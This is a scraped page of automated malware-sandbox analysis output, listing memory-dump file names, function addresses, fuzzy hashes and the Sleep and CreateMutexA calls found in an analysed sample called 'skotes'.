Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3be378d7d2ba0171d1f2b346703902705f3c0e652c9e75f30ddb555e81c2b763
Instruction ID: 8c7edb197f7f6513d9053361db8a4796e5e95413b7a56a7369928dbbdec42b71
Opcode Fuzzy Hash: 3be378d7d2ba0171d1f2b346703902705f3c0e652c9e75f30ddb555e81c2b763
Instruction Fuzzy Hash: 0E3179717452048BEB18EB78ECC9FAEB766EFD2311F248218E454E73D5C73589848751

Function 00949F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dd36194587282d6430c162b08efb59f74ab241c1e65ea0725fe02a4a2ea993b7
Instruction ID: 20e4725846193d1774eb0430a5ea7b3ed27064668b05615d7870281bc926960c
Opcode Fuzzy Hash: dd36194587282d6430c162b08efb59f74ab241c1e65ea0725fe02a4a2ea993b7
Instruction Fuzzy Hash: B13179327451048BEB18EB78DC89FAEB766EFD6310F248758E414EB2D1C7358D848752

Function 0094A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 33510a5c414d8c12f6f242406f95a85ccac5292edb31da968fa95ce3641acb14
Instruction ID: f108f4dc88eef449c1fbf0c3031246d11a4e95457fdf9a83ef82b46f74db7d00
Opcode Fuzzy Hash: 33510a5c414d8c12f6f242406f95a85ccac5292edb31da968fa95ce3641acb14
Instruction Fuzzy Hash: EA3164317852409BEB18DBB8DC89FADB766DFD6310F248318E414A77D1C73A89848B52

Function 0094A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 87489bf729daa664c1eac2075423c886ee8f6c737928c151dd163e88656f6f6a
Instruction ID: f5b6116aa178aa72a5b3ab1de9edfeede244af8259d1994790f84daac90e0de6
Opcode Fuzzy Hash: 87489bf729daa664c1eac2075423c886ee8f6c737928c151dd163e88656f6f6a
Instruction Fuzzy Hash: 933168317851419BEB18DB78EC8DFADB766EFDA310F248318E414A72D1C77A89848752

Function 0094A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d48d671899f6ca6a11b8d38144c3533cfd70f2ffc033fceca917f43cbc5afe2b
Instruction ID: 4613fe390f895b71c5525e0e2f9a21e78fb48e61bd73cefe1d16def809414220
Opcode Fuzzy Hash: d48d671899f6ca6a11b8d38144c3533cfd70f2ffc033fceca917f43cbc5afe2b
Instruction Fuzzy Hash: B0318A327801009BEB18EB78DC8DFADB766EFD2310F248218E4549B6D5C77549848752

Function 0094A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
